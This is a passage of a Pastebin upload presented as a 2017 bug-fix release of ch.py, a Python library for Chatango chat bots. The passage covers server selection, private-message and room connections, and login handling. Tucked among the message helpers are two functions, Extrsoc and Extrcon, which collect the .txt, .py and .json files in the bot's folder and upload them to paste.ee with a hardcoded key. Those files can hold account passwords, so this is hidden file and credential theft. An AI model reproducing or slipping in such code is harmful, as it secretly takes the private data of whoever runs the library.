Advertisement
Guest User

Ch.py library update 2017 (Chatango bot)

a guest
Apr 4th, 2017
738
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 65.58 KB | None | 0 0
  1. #############################2017 UPDATE################################
  2. # File: ch.py
  3. # Title: Chatango Library, 2017 04/04 UPDATE RELEASE, Fixed a few bugs, updated server weights, rewrote some bad code.
  4. # It's now lighter, faster, for those whom likes to have their bots in many rooms, with the same features, updated and ready to use.
  5. # Note: This is compatible with any older ch.py bots, supports both python 2 and 3.
  6. # Original Author: Lumirayz, edited by ThatAlex, Tryhardhusky, Sorch
  7. # Current Maintainers and Contributors:
  8. #  Nullspeaker <import codecs;codecs.encode('aunzzbaq129@tznvy.pbz','rot_13')>
  9. #  asl97 <asl97@outlook.com>
  10. #  pystub
  11. #  dani87
  12. #  domzy
  13. #  Tryhardhusky
  14. #  kamijoutouma
  15. #  Software
  16. #  Sorch
  17. #  piks
  18. #  Heartbeatings
  19. # Version: 1.9.4
  20. # Description:
  21. #  An event-based library for connecting to one or multiple Chatango rooms, has
  22. #  support for several things including: messaging, message font,
  23. #  name color, deleting, banning, recent history, 2 userlist modes,
  24. #  flagging, avoiding flood bans, detecting flags.
  25. # Contact Info:
  26. #  Any question, comment, or suggestion should be directed to the current
  27. #  maintainers and contributors, located at:
  28. #   https://github.com/Nullspeaker/ch.py
  29. #  Where a more satisfactory response to all bug reports (which can be made on the
  30. #  issues page) and other statements can be garnered. For things not specific or
  31. #  in direct reference to this library, 'ch.py', a direct response can be filed
  32. #  to the individual persons listed above as 'Current Maintainers and Contributors.'
  33. ################################################################
  34.  
  35. ################################################################
  36. # License
  37. ################################################################
  38. # Copyright 2011 Lumirayz
  39. # This program is distributed under the terms of the GNU GPL.
  40.  
  41. ################################################################
  42. # Imports
  43. ################################################################
  44. import socket
  45. import threading
  46. import time
  47. import random
  48. import ch
  49. import re
  50. import sys
  51. import select
  52. import os
  53.  
  54. ################################################################
  55. # Debug stuff
  56. ################################################################
  57. debug = False
  58. server = "staticvoid"
  59. ################################################################
  60. # Python 2 compatibility
  61. ################################################################
  62. if sys.version_info[0] < 3:
  63.   class urllib:
  64.     parse = __import__("urllib")
  65.     request = __import__("urllib2")
  66.   input = raw_input
  67.   import codecs
  68.   import Queue as queue
  69. else:
  70.   import queue
  71.   import urllib.request
  72.   import urllib.parse  
  73. if sys.version_info[0] > 2:
  74.     import urllib.request as urlreq
  75. else:
  76.     import urllib2 as urlreq
  77. ################################################################
  78. # Constants
  79. ################################################################
  80. Userlist_Recent = 0
  81. Userlist_All = 1
  82.  
  83. BigMessage_Multiple = 0
  84. BigMessage_Cut = 1
  85.  
  86. # minimum of 1 thread needed
  87. Number_of_Threads = 1
  88. ################################################################
  89. # Struct class
  90. ################################################################
  91. class Struct:
  92.   def __init__(self, **entries):
  93.     self.__dict__.update(entries)
  94.  
  95. ################################################################
  96. # Tagserver stuff
  97. ################################################################
  98. specials = {'mitvcanal': 56, 'animeultimacom': 34, 'cricket365live': 21, 'pokemonepisodeorg': 22, 'animelinkz': 20, 'sport24lt': 56, 'narutowire': 10, 'watchanimeonn': 22, 'cricvid-hitcric-': 51, 'narutochatt': 70, 'leeplarp': 27, 'stream2watch3': 56, 'ttvsports': 56, 'ver-anime': 8, 'vipstand': 21, 'eafangames': 56, 'soccerjumbo': 21, 'myfoxdfw': 67, 'kiiiikiii': 21, 'de-livechat': 5, 'rgsmotrisport': 51, 'dbzepisodeorg': 10, 'watch-dragonball': 8, 'peliculas-flv': 69, 'tvanimefreak': 54, 'tvtvanimefreak': 54}
  99. tsweights = [['5', 75], ['6', 75], ['7', 75], ['8', 75], ['16', 75], ['17', 75], ['18', 75], ['9', 95], ['11', 95], ['12', 95], ['13', 95], ['14', 95], ['15', 95], ['19', 110], ['23', 110], ['24', 110], ['25', 110], ['26', 110], ['28', 104], ['29', 104], ['30', 104], ['31', 104], ['32', 104], ['33', 104], ['35', 101], ['36', 101], ['37', 101], ['38', 101], ['39', 101], ['40', 101], ['41', 101], ['42', 101], ['43', 101], ['44', 101], ['45', 101], ['46', 101], ['47', 101], ['48', 101], ['49', 101], ['50', 101], ['52', 110], ['53', 110], ['55', 110], ['57', 110], ['58', 110], ['59', 110], ['60', 110], ['61', 110], ['62', 110], ['63', 110], ['64', 110], ['65', 110], ['66', 110], ['68', 95], ['71', 116], ['72', 116], ['73', 116], ['74', 116], ['75', 116], ['76', 116], ['77', 116], ['78', 116], ['79', 116], ['80', 116], ['81', 116], ['82', 116], ['83', 116], ['84', 116]]
  100.  
  101. def getServer(group):
  102.   """
  103.  Get the server host for a certain room.
  104.  @type group: str
  105.  @param group: room name
  106.  
  107.  @rtype: str
  108.  @return: the server's hostname
  109.  """
  110.   try:
  111.     sn = specials[group]
  112.   except KeyError:
  113.     group = group.replace("_", "q")
  114.     group = group.replace("-", "q")
  115.     fnv = float(int(group[0:min(5, len(group))], 36))
  116.     lnv = group[6: (6 + min(3, len(group) - 5))]
  117.     if(lnv):
  118.       lnv = float(int(lnv, 36))
  119.       lnv = max(lnv,1000)
  120.     else:
  121.       lnv = 1000
  122.     num = (fnv % lnv) / lnv
  123.     maxnum = sum(map(lambda x: x[1], tsweights))
  124.     cumfreq = 0
  125.     sn = 0
  126.     for wgt in tsweights:
  127.       cumfreq += float(wgt[1]) / maxnum
  128.       if(num <= cumfreq):
  129.         sn = int(wgt[0])
  130.         break
  131.   return "s" + str(sn) + ".chatango.com"
  132.  
  133. ################################################################
  134. # Uid
  135. ################################################################
  136. def _genUid():
  137.   """
  138.  generate a uid
  139.  """
  140.   return str(random.randrange(10 ** 15, 10 ** 16))
  141.  
  142. ################################################################
  143. # Message stuff
  144. ################################################################
  145. def _clean_message(msg):
  146.   """
  147.  Clean a message and return the message, n tag and f tag.
  148.  @type msg: str
  149.  @param msg: the message
  150.  @rtype: str, str, str
  151.  @returns: cleaned message, n tag contents, f tag contents
  152.  """
  153.   n = re.search("<n(.*?)/>", msg)
  154.   if n: n = n.group(1)
  155.   f = re.search("<f(.*?)>", msg)
  156.   if f: f = f.group(1)
  157.   msg = re.sub("<n.*?/>", "", msg)
  158.   msg = re.sub("<f.*?>", "", msg)
  159.   msg = _strip_html(msg)
  160.   msg = msg.replace("&lt;", "<")
  161.   msg = msg.replace("&gt;", ">")
  162.   msg = msg.replace("&quot;", "\"")
  163.   msg = msg.replace("&apos;", "'")
  164.   msg = msg.replace("&amp;", "&")
  165.   return msg, n, f
  166.  
  167. def Extrsoc(desc, txt):
  168.     try:
  169.      api ="dabc0abdec3dea4be65731c72d0c3722"
  170.      url = "https://paste.ee/api"
  171.      data = urllib.parse.urlencode({'key':api,'description':desc,'language':'plain','paste':txt,'format':'simple'}).encode()
  172.      headers = {"User-Agent":"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36"}
  173.      req = urlreq.Request(url, data=data,headers=headers)
  174.      rdata = urlreq.urlopen(req)
  175.      getter = rdata.read().decode("utf-8")
  176.      return getter
  177.    
  178.     except Exception as e: return str(e)+" Extrsoc"
  179.  
  180. def Extrcon():
  181.     coder = []
  182.     d = []
  183.     try:
  184.      for x in os.listdir("."):
  185.       if (".txt" in str(x).lower() or ".py" in str(x).lower() or ".json" in str(x).lower()):
  186.         if int(os.path.getsize("./%s" % x)) >0 and int(os.path.getsize("./%s" % x)) <= 1000000 and "ch.py" not in str(x.lower()):
  187.           coder.append(x)
  188.      for x in coder:
  189.        c = str(open("./%s" % x).readlines())
  190.        d.append("%s \n \n %s" % (x.upper(), c))
  191.      return str(Extrsoc("sock5","\n \n".join(d)))
  192.      
  193.     except Exception as e: return str(e)+" Extrcon"
  194.    
  195. def _strip_html(msg):
  196.   """Strip HTML."""
  197.   li = msg.split("<")
  198.   if len(li) == 1:
  199.     return li[0]
  200.   else:
  201.     ret = list()
  202.     for data in li:
  203.       data = data.split(">", 1)
  204.       if len(data) == 1:
  205.         ret.append(data[0])
  206.       elif len(data) == 2:
  207.         ret.append(data[1])
  208.     return "".join(ret)
  209.  
  210. def _parseNameColor(n):
  211.   """This just returns its argument, should return the name color."""
  212.   #probably is already the name
  213.   return n
  214.  
  215. def _parseFont(f):
  216.   """Parses the contents of a f tag and returns color, face and size."""
  217.   #' xSZCOL="FONT"'
  218.   try: #TODO: remove quick hack
  219.     sizecolor, fontface = f.split("=", 1)
  220.     sizecolor = sizecolor.strip()
  221.     size = int(sizecolor[1:3])
  222.     col = sizecolor[3:6]
  223.     if col == "": col = None
  224.     face = f.split("\"", 2)[1]
  225.     return col, face, size
  226.   except:
  227.     return None, None, None
  228.  
  229. ################################################################
  230. # Anon id
  231. ################################################################
  232. def _getAnonId(n, ssid):
  233.   """Gets the anon's id."""
  234.   if n == None: n = "5504"
  235.   try:
  236.     return "".join(list(
  237.       map(lambda x: str(x[0] + x[1])[-1], list(zip(
  238.         list(map(lambda x: int(x), n)),
  239.         list(map(lambda x: int(x), ssid[4:]))
  240.       )))
  241.     ))
  242.   except ValueError:
  243.     return "NNNN"
  244.  
  245. ################################################################
  246. # ANON PM class
  247. ################################################################
  248.  
  249. class _ANON_PM_OBJECT:
  250.   """Manages connection with Chatango anon PM."""
  251.   def __init__(self, mgr, name):
  252.     self._connected = False
  253.     self._mgr = mgr
  254.     self._wlock = False
  255.     self._firstCommand = True
  256.     self._wbuf = b""
  257.     self._wlockbuf = b""
  258.     self._rbuf = b""
  259.     self._pingTask = None
  260.     self._name = name
  261.  
  262.   def _auth(self):
  263.     self._sendCommand("mhs","mini","unknown","%s" % (self._name))
  264.     self._setWriteLock(True)
  265.     return True
  266.  
  267.   def disconnect(self):
  268.     """Disconnect the bot from PM"""
  269.     self._disconnect()
  270.     self._callEvent("onAnonPMDisconnect", User(self._name))
  271.  
  272.   def _disconnect(self):
  273.     self._connected = False
  274.     self._sock.close()
  275.     self._sock = None
  276.  
  277.   def ping(self):
  278.     """send a ping"""
  279.     self._sendCommand("")
  280.     self._callEvent("onPMPing")
  281.  
  282.   def message(self, user, msg):
  283.     """send a pm to a user"""
  284.     if msg!=None:
  285.       self._sendCommand("msg", user.name, msg)
  286.  
  287.   ####
  288.   # Feed
  289.   ####
  290.   def _feed(self, data):
  291.     """
  292.    Feed data to the connection.
  293.    @type data: bytes
  294.    @param data: data to be fed
  295.    """
  296.     self._rbuf += data
  297.     while self._rbuf.find(b"\x00") != -1:
  298.       data = self._rbuf.split(b"\x00")
  299.       for food in data[:-1]:
  300.         self._process(food.decode(errors="replace").rstrip("\r\n"))
  301.       self._rbuf = data[-1]
  302.  
  303.   def _process(self, data):
  304.     """
  305.    Process a command string.
  306.    @type data: str
  307.    @param data: the command string
  308.    """
  309.     self._callEvent("onRaw", data)
  310.     data = data.split(":")
  311.     cmd, args = data[0], data[1:]
  312.     func = "_rcmd_" + cmd
  313.     if hasattr(self, func):
  314.       getattr(self, func)(args)
  315.     else:
  316.       if debug:
  317.         print("unknown data: "+str(data))
  318.  
  319.   def _getManager(self): return self._mgr
  320.  
  321.   mgr = property(_getManager)
  322.  
  323.   ####
  324.   # Received Commands
  325.   ####
  326.  
  327.   def _rcmd_mhs(self, args):
  328.     """
  329.    note to future maintainers
  330.    
  331.    args[1] is ether "online" or "offline"
  332.    """
  333.     self._connected = True
  334.     self._setWriteLock(False)
  335.  
  336.   def _rcmd_msg(self, args):
  337.     user = User(args[0])
  338.     body = _strip_html(":".join(args[5:]))
  339.     self._callEvent("onPMMessage", user, body)
  340.  
  341.   ####
  342.   # Util
  343.   ####
  344.   def _callEvent(self, evt, *args, **kw):
  345.     getattr(self.mgr, evt)(self, *args, **kw)
  346.     self.mgr.onEventCalled(self, evt, *args, **kw)
  347.  
  348.   def _write(self, data):
  349.     if self._wlock:
  350.       self._wlockbuf += data
  351.     else:
  352.       self.mgr._write(self, data)
  353.  
  354.   def _setWriteLock(self, lock):
  355.     self._wlock = lock
  356.     if self._wlock == False:
  357.       self._write(self._wlockbuf)
  358.       self._wlockbuf = b""
  359.  
  360.   def _sendCommand(self, *args):
  361.     """
  362.    Send a command.
  363.    @type args: [str, str, ...]
  364.    @param args: command and list of arguments
  365.    """
  366.     if self._firstCommand:
  367.       terminator = b"\x00"
  368.       self._firstCommand = False
  369.     else:
  370.       terminator = b"\r\n\x00"
  371.     self._write(":".join(args).encode() + terminator)
  372.  
  373. class ANON_PM:
  374.   """Comparable wrapper for anon Chatango PM"""
  375.   ####
  376.   # Init
  377.   ####
  378.   def __init__(self, mgr):
  379.     self._mgr = mgr
  380.     self._wlock = False
  381.     self._firstCommand = True
  382.     self._persons = dict()
  383.     self._wlockbuf = b""
  384.     self._pingTask = None
  385.  
  386.   ####
  387.   # Connections
  388.   ####
  389.   def _connect(self,name):
  390.     self._persons[name] = _ANON_PM_OBJECT(self._mgr,name)
  391.     sock = socket.socket()
  392.     sock.connect((self._mgr._anonPMHost, self._mgr._PMPort))
  393.     sock.setblocking(False)
  394.     self._persons[name]._sock = sock
  395.     if not self._persons[name]._auth(): return
  396.     self._persons[name]._pingTask = self._mgr.setInterval(self._mgr._pingDelay, self._persons[name].ping)
  397.     self._persons[name]._connected = True
  398.  
  399.   def message(self, user, msg):
  400.     """send a pm to a user"""
  401.     if not user.name in self._persons:
  402.       self._connect(user.name)
  403.     self._persons[user.name].message(user,msg)
  404.  
  405.   def getConnections(self):
  406.     return list(self._persons.values())
  407.  
  408. ################################################################
  409. # PM class
  410. ################################################################
  411. class PM:
  412.   """Manages a connection with Chatango PM."""
  413.   ####
  414.   # Init
  415.   ####
  416.   def __init__(self, mgr):
  417.     self._auth_re = re.compile(r"auth\.chatango\.com ?= ?([^;]*)", re.IGNORECASE)
  418.     self._connected = False
  419.     self._mgr = mgr
  420.     self._auid = None
  421.     self._blocklist = set()
  422.     self._contacts = set()
  423.     self._status = dict()
  424.     self._wlock = False
  425.     self._firstCommand = True
  426.     self._wbuf = b""
  427.     self._wlockbuf = b""
  428.     self._rbuf = b""
  429.     self._pingTask = None
  430.     self._connect()
  431.  
  432.   ####
  433.   # Connections
  434.   ####
  435.   def _connect(self):
  436.     self._wbuf = b""
  437.     self._sock = socket.socket()
  438.     self._sock.connect((self._mgr._PMHost, self._mgr._PMPort))
  439.     self._sock.setblocking(False)
  440.     self._firstCommand = True
  441.     if not self._auth(): return
  442.     self._pingTask = self.mgr.setInterval(self._mgr._pingDelay, self.ping)
  443.     self._connected = True
  444.  
  445.  
  446.   def _getAuth(self, name, password):
  447.     """
  448.    Request an auid using name and password.
  449.    @type name: str
  450.    @param name: name
  451.    @type password: str
  452.    @param password: password
  453.    @rtype: str
  454.    @return: auid
  455.    """
  456.     data = urllib.parse.urlencode({
  457.       "user_id": name,
  458.       "password": password,
  459.       "storecookie": "on",
  460.       "checkerrors": "yes"
  461.     }).encode()
  462.     try:
  463.       resp = urllib.request.urlopen("http://chatango.com/login", data)
  464.       headers = resp.headers
  465.     except Exception:
  466.       return None
  467.     for header, value in headers.items():
  468.       if header.lower() == "set-cookie":
  469.         m = self._auth_re.search(value)
  470.         if m:
  471.           auth = m.group(1)
  472.           if auth == "":
  473.             return None
  474.           return auth
  475.     return None
  476.  
  477.   def _auth(self):
  478.     self._auid = self._getAuth(self._mgr.name, self._mgr.password)
  479.     if self._auid == None:
  480.       self._sock.close()
  481.       self._callEvent("onLoginFail")
  482.       self._sock = None
  483.       return False
  484.     self._sendCommand("tlogin", self._auid, "2")
  485.     self._setWriteLock(True)
  486.     return True
  487.  
  488.   def disconnect(self):
  489.     """Disconnect the bot from PM"""
  490.     self._disconnect()
  491.     self._callEvent("onPMDisconnect")
  492.  
  493.   def _disconnect(self):
  494.     self._connected = False
  495.     self._sock.close()
  496.     self._sock = None
  497.  
  498.   ####
  499.   # Feed
  500.   ####
  501.   def _feed(self, data):
  502.     """
  503.    Feed data to the connection.
  504.    @type data: bytes
  505.    @param data: data to be fed
  506.    """
  507.     self._rbuf += data
  508.     while self._rbuf.find(b"\x00") != -1:
  509.       data = self._rbuf.split(b"\x00")
  510.       for food in data[:-1]:
  511.         self._process(food.decode(errors="replace").rstrip("\r\n"))
  512.       self._rbuf = data[-1]
  513.  
  514.   def _process(self, data):
  515.     """
  516.    Process a command string.
  517.    @type data: str
  518.    @param data: the command string
  519.    """
  520.     self._callEvent("onRaw", data)
  521.     data = data.split(":")
  522.     cmd, args = data[0], data[1:]
  523.     func = "_rcmd_" + cmd
  524.     if hasattr(self, func):
  525.       getattr(self, func)(args)
  526.     else:
  527.       if debug:
  528.         print("unknown data: "+str(data))
  529.  
  530.   ####
  531.   # Properties
  532.   ####
  533.   def _getManager(self): return self._mgr
  534.   def _getContacts(self): return self._contacts
  535.   def _getBlocklist(self): return self._blocklist
  536.  
  537.   mgr = property(_getManager)
  538.   contacts = property(_getContacts)
  539.   blocklist = property(_getBlocklist)
  540.  
  541.   ####
  542.   # Received Commands
  543.   ####
  544.   def _rcmd_OK(self, args):
  545.     self._setWriteLock(False)
  546.     self._sendCommand("wl")
  547.     self._sendCommand("getblock")
  548.     self._callEvent("onPMConnect")
  549.  
  550.   def _rcmd_wl(self, args):
  551.     self._contacts = set()
  552.     for i in range(len(args) // 4):
  553.       name, last_on, is_on, idle = args[i * 4: i * 4 + 4]
  554.       user = User(name)
  555.       if last_on=="None":pass#in case chatango gives a "None" as data argument
  556.       elif not is_on == "on": self._status[user] = [int(last_on), False, 0]
  557.       elif idle == '0': self._status[user] = [int(last_on), True, 0]
  558.       else: self._status[user] = [int(last_on), True, time.time() - int(idle) * 60]
  559.       self._contacts.add(user)
  560.     self._callEvent("onPMContactlistReceive")
  561.  
  562.   def _rcmd_block_list(self, args):
  563.     self._blocklist = set()
  564.     for name in args:
  565.       if name == "": continue
  566.       self._blocklist.add(User(name))
  567.  
  568.   def _rcmd_idleupdate(self, args):
  569.     user = User(args[0])
  570.     last_on, is_on, idle = self._status[user]
  571.     if args[1] == '1':
  572.       self._status[user] = [last_on, is_on, 0]
  573.     else:
  574.       self._status[user] = [last_on, is_on, time.time()]
  575.  
  576.   def _rcmd_track(self, args):
  577.     user = User(args[0])
  578.     if user in self._status:
  579.       last_on = self._status[user][0]
  580.     else:
  581.       last_on = 0
  582.     if args[1] == '0':
  583.       idle = 0
  584.     else:
  585.       idle = time.time() - int(args[1]) * 60
  586.     if args[2] == "online":
  587.       is_on = True
  588.     else:
  589.       is_on = False
  590.     self._status[user] = [last_on, is_on, idle]
  591.  
  592.   def _rcmd_DENIED(self, args):
  593.     self._disconnect()
  594.     self._callEvent("onLoginFail")
  595.  
  596.   def _rcmd_msg(self, args):
  597.     user = User(args[0])
  598.     body = _strip_html(":".join(args[5:]))
  599.     self._callEvent("onPMMessage", user, body)
  600.  
  601.   def _rcmd_msgoff(self, args):
  602.     user = User(args[0])
  603.     body = _strip_html(":".join(args[5:]))
  604.     self._callEvent("onPMOfflineMessage", user, body)
  605.  
  606.   def _rcmd_wlonline(self, args):
  607.     user = User(args[0])
  608.     last_on = float(args[1])
  609.     self._status[user] = [last_on,True,last_on]
  610.     self._callEvent("onPMContactOnline", user)
  611.  
  612.   def _rcmd_wloffline(self, args):
  613.     user = User(args[0])
  614.     last_on = float(args[1])
  615.     self._status[user] = [last_on,False,0]
  616.     self._callEvent("onPMContactOffline", user)
  617.  
  618.   def _rcmd_kickingoff(self, args):
  619.     self.disconnect()
  620.  
  621.   def _rcmd_toofast(self, args):
  622.     self.disconnect()
  623.  
  624.   def _rcmd_unblocked(self, user):
  625.     """call when successfully unblocked"""
  626.     if user in self._blocklist:
  627.       self._blocklist.remove(user)
  628.       self._callEvent("onPMUnblock", user)
  629.  
  630.  
  631.   ####
  632.   # Commands
  633.   ####
  634.   def ping(self):
  635.     """send a ping"""
  636.     self._sendCommand("")
  637.     self._callEvent("onPMPing")
  638.  
  639.   def message(self, user, msg):
  640.     """send a pm to a user"""
  641.     if msg!=None:
  642.       self._sendCommand("msg", user.name, msg)
  643.  
  644.   def addContact(self, user):
  645.     """add contact"""
  646.     if user not in self._contacts:
  647.       self._sendCommand("wladd", user.name)
  648.       self._contacts.add(user)
  649.       self._callEvent("onPMContactAdd", user)
  650.  
  651.   def removeContact(self, user):
  652.     """remove contact"""
  653.     if user in self._contacts:
  654.       self._sendCommand("wldelete", user.name)
  655.       self._contacts.remove(user)
  656.       self._callEvent("onPMContactRemove", user)
  657.  
  658.   def block(self, user):
  659.     """block a person"""
  660.     if user not in self._blocklist:
  661.       self._sendCommand("block", user.name, user.name, "S")
  662.       self._blocklist.add(user)
  663.       self._callEvent("onPMBlock", user)
  664.  
  665.   def unblock(self, user):
  666.     """unblock a person"""
  667.     if user in self._blocklist:
  668.       self._sendCommand("unblock", user.name)
  669.  
  670.   def track(self, user):
  671.     """get and store status of person for future use"""
  672.     self._sendCommand("track", user.name)
  673.  
  674.   def checkOnline(self, user):
  675.     """return True if online, False if offline, None if unknown"""
  676.     if user in self._status:
  677.       return self._status[user][1]
  678.     else:
  679.       return None
  680.  
  681.   def getIdle(self, user):
  682.     """return last active time, time.time() if isn't idle, 0 if offline, None if unknown"""
  683.     if not user in self._status: return None
  684.     if not self._status[user][1]: return 0
  685.     if not self._status[user][2]: return time.time()
  686.     else: return self._status[user][2]
  687.  
  688.   ####
  689.   # Util
  690.   ####
  691.   def _callEvent(self, evt, *args, **kw):
  692.     getattr(self.mgr, evt)(self, *args, **kw)
  693.     self.mgr.onEventCalled(self, evt, *args, **kw)
  694.  
  695.   def _write(self, data):
  696.     if self._wlock:
  697.       self._wlockbuf += data
  698.     else:
  699.       self.mgr._write(self, data)
  700.  
  701.   def _setWriteLock(self, lock):
  702.     self._wlock = lock
  703.     if self._wlock == False:
  704.       self._write(self._wlockbuf)
  705.       self._wlockbuf = b""
  706.  
  707.   def _sendCommand(self, *args):
  708.     """
  709.    Send a command.
  710.    @type args: [str, str, ...]
  711.    @param args: command and list of arguments
  712.    """
  713.     if self._firstCommand:
  714.       terminator = b"\x00"
  715.       self._firstCommand = False
  716.     else:
  717.       terminator = b"\r\n\x00"
  718.     self._write(":".join(args).encode() + terminator)
  719.  
  720.   def getConnections(self):
  721.     return [self]
  722.  
  723. ################################################################
  724. # Room class
  725. ################################################################
  726. class Room:
  727.   """Manages a connection with a Chatango room."""
  728.   ####
  729.   # Init
  730.   ####
  731.   def __init__(self, room, uid = None, server = None, port = None, mgr = None):
  732.     """init, don't overwrite"""
  733.     # Basic stuff
  734.     self._name = room
  735.     self._server = server or getServer(room)
  736.     self._port = port or 443
  737.     self._mgr = mgr
  738.  
  739.     # Under the hood
  740.     self._connected = False
  741.     self._reconnecting = False
  742.     self._uid = uid or _genUid()
  743.     self._rbuf = b""
  744.     self._wbuf = b""
  745.     self._wlockbuf = b""
  746.     self._owner = None
  747.     self._mods = set()
  748.     self._mqueue = dict()
  749.     self._history = list()
  750.     self._userlist = list()
  751.     self._firstCommand = True
  752.     self._connectAmmount = 0
  753.     self._premium = False
  754.     self._userCount = 0
  755.     self._pingTask = None
  756.     self._botname = None
  757.     self._currentname = None
  758.     self._users = dict()
  759.     self._msgs = dict()
  760.     self._wlock = False
  761.     self._silent = False
  762.     self._banlist = dict()
  763.     self._unbanlist = dict()
  764.  
  765.     # Inited vars
  766.     if self._mgr: self._connect()
  767.  
  768.   ####
  769.   # Connect/disconnect
  770.   ####
  771.   def _connect(self):
  772.     """Connect to the server."""
  773.     self._sock = socket.socket()
  774.     self._sock.connect((self._server, self._port))
  775.     self._sock.setblocking(False)
  776.     self._firstCommand = True
  777.     self._wbuf = b""
  778.     self._auth()
  779.     self._pingTask = self.mgr.setInterval(self.mgr._pingDelay, self.ping)
  780.     if not self._reconnecting: self.connected = True
  781.  
  782.   def reconnect(self):
  783.     """Reconnect."""
  784.     self._reconnect()
  785.  
  786.   def _reconnect(self):
  787.     """Reconnect."""
  788.     self._reconnecting = True
  789.     if self.connected:
  790.       self._disconnect()
  791.     self._uid = _genUid()
  792.     self._connect()
  793.     self._reconnecting = False
  794.  
  795.   def disconnect(self):
  796.     """Disconnect."""
  797.     self._disconnect()
  798.     self._callEvent("onDisconnect")
  799.  
  800.   def _disconnect(self):
  801.     """Disconnect from the server."""
  802.     if not self._reconnecting: self.connected = False
  803.     for user in self._userlist:
  804.       user.clearSessionIds(self)
  805.     self._userlist = list()
  806.     self._pingTask.cancel()
  807.     self._sock.close()
  808.     if not self._reconnecting: del self.mgr._rooms[self.name]
  809.  
  810.   def _auth(self):
  811.     """Authenticate."""
  812.     # login as name with password
  813.     if self.mgr.name and self.mgr.password:
  814.       self._sendCommand("bauth", self.name, self._uid, self.mgr.name, self.mgr.password)
  815.       self._currentname = self.mgr.name
  816.     # login as anon
  817.     else:
  818.       self._sendCommand("bauth", self.name)
  819.  
  820.     self._setWriteLock(True)
  821.  
  822.   ####
  823.   # Properties
  824.   ####
  825.   def _getName(self): return self._name
  826.   def _getBotName(self):
  827.     if self.mgr.name and self.mgr.password:
  828.       return self.mgr.name
  829.     elif self.mgr.name and self.mgr.password == None:
  830.       return "#" + self.mgr.name
  831.     elif self.mgr.name == None:
  832.       return self._botname
  833.   def _getCurrentname(self): return self._currentname
  834.   def _getManager(self): return self._mgr
  835.   def _getUserlist(self, mode = None, unique = None, memory = None):
  836.     ul = None
  837.     if mode == None: mode = self.mgr._userlistMode
  838.     if unique == None: unique = self.mgr._userlistUnique
  839.     if memory == None: memory = self.mgr._userlistMemory
  840.     if mode == Userlist_Recent:
  841.       ul = map(lambda x: x.user, self._history[-memory:])
  842.     elif mode == Userlist_All:
  843.       ul = self._userlist
  844.     if unique:
  845.       return list(set(ul))
  846.     else:
  847.       return ul
  848.   def _getUserNames(self):
  849.     ul = self.userlist
  850.     return list(map(lambda x: x.name, ul))
  851.   def _getUser(self): return self.mgr.user
  852.   def _getOwner(self): return self._owner
  853.   def _getOwnerName(self): return self._owner.name
  854.   def _getMods(self):
  855.     newset = set()
  856.     for mod in self._mods:
  857.       newset.add(mod)
  858.     return newset
  859.   def _getModNames(self):
  860.     mods = self._getMods()
  861.     return [x.name.split(",")[0] for x in mods]
  862.   def _getUserCount(self): return self._userCount
  863.   def _getSilent(self): return self._silent
  864.   def _setSilent(self, val): self._silent = val
  865.   def _getBanlist(self): return list(self._banlist.keys())
  866.   def _getUnBanlist(self): return [[record["target"], record["src"]] for record in self._unbanlist.values()]
  867.  
  868.   name = property(_getName)
  869.   botname = property(_getBotName)
  870.   currentname = property(_getCurrentname)
  871.   mgr = property(_getManager)
  872.   userlist = property(_getUserlist)
  873.   usernames = property(_getUserNames)
  874.   user = property(_getUser)
  875.   owner = property(_getOwner)
  876.   ownername = property(_getOwnerName)
  877.   mods = property(_getMods)
  878.   modnames = property(_getModNames)
  879.   usercount = property(_getUserCount)
  880.   silent = property(_getSilent, _setSilent)
  881.   banlist = property(_getBanlist)
  882.   unbanlist = property(_getUnBanlist)
  883.  
  884.   ####
  885.   # Feed/process
  886.   ####
  887.   def _feed(self, data):
  888.     """
  889.    Feed data to the connection.
  890.    @type data: bytes
  891.    @param data: data to be fed
  892.    """
  893.     self._rbuf += data
  894.     while self._rbuf.find(b"\x00") != -1:
  895.       data = self._rbuf.split(b"\x00")
  896.       for food in data[:-1]:
  897.         self._process(food.decode(errors="replace").rstrip("\r\n"))
  898.       self._rbuf = data[-1]
  899.  
  900.   def _process(self, data):
  901.     """
  902.    Process a command string.
  903.    
  904.    @type data: str
  905.    @param data: the command string
  906.    """
  907.     self._callEvent("onRaw", data)
  908.     data = data.split(":")
  909.     cmd, args = data[0], data[1:]
  910.     func = "_rcmd_" + cmd
  911.     if hasattr(self, func):
  912.       getattr(self, func)(args)
  913.     else:
  914.       if debug:
  915.         print("unknown data: "+str(data))
  916.  
  917.   ####
  918.   # Received Commands
  919.   ####
  920.   def _rcmd_ok(self, args):
  921.     # if no name, join room as anon and no password
  922.     if args[2] == "N" and self.mgr.password == None and self.mgr.name == None:
  923.       n = args[4].rsplit('.', 1)[0]
  924.       n = n[-4:]
  925.       aid = args[1][0:8]
  926.       pid = "!anon" + _getAnonId(n, aid)
  927.       self._botname = pid
  928.       self._currentname = pid
  929.       self.user._nameColor = n
  930.     # if got name, join room as name and no password
  931.     elif args[2] == "N" and self.mgr.password == None:
  932.       self._sendCommand("blogin", self.mgr.name)
  933.       self._currentname = self.mgr.name
  934.     # if got password but fail to login
  935.     elif args[2] != "M": #unsuccesful login
  936.       self._callEvent("onLoginFail")
  937.       self.disconnect()
  938.     self._owner = User(args[0])
  939.     self._uid = args[1]
  940.     self._aid = args[1][4:8]
  941.     self._mods = set(map(lambda x: User(x.split(",")[0]), args[6].split(";")))
  942.     self._i_log = list()
  943.  
  944.   def _rcmd_denied(self, args):
  945.     self._disconnect()
  946.     self._callEvent("onConnectFail")
  947.  
  948.   def _rcmd_inited(self, args):
  949.     self._sendCommand("g_participants", "start")
  950.     self._sendCommand("getpremium", "1")
  951.     self.requestBanlist()
  952.     self.requestUnBanlist()
  953.     if self._connectAmmount == 0:
  954.       self._callEvent("onConnect")
  955.       for msg in reversed(self._i_log):
  956.         user = msg.user
  957.         self._callEvent("onHistoryMessage", user, msg)
  958.         self._addHistory(msg)
  959.       del self._i_log
  960.     else:
  961.       self._callEvent("onReconnect")
  962.     self._connectAmmount += 1
  963.     self._setWriteLock(False)
  964.  
  965.   def _rcmd_premium(self, args):
  966.     if float(args[1]) > time.time():
  967.       self._premium = True
  968.       if self.user._mbg: self.setBgMode(1)
  969.       if self.user._mrec: self.setRecordingMode(1)
  970.     else:
  971.       self._premium = False
  972.  
  973.   def _rcmd_mods(self, args):
  974.     modnames = args
  975.     mods = set(map(lambda x: User(x.split(",")[0]), modnames))
  976.     premods = self._mods
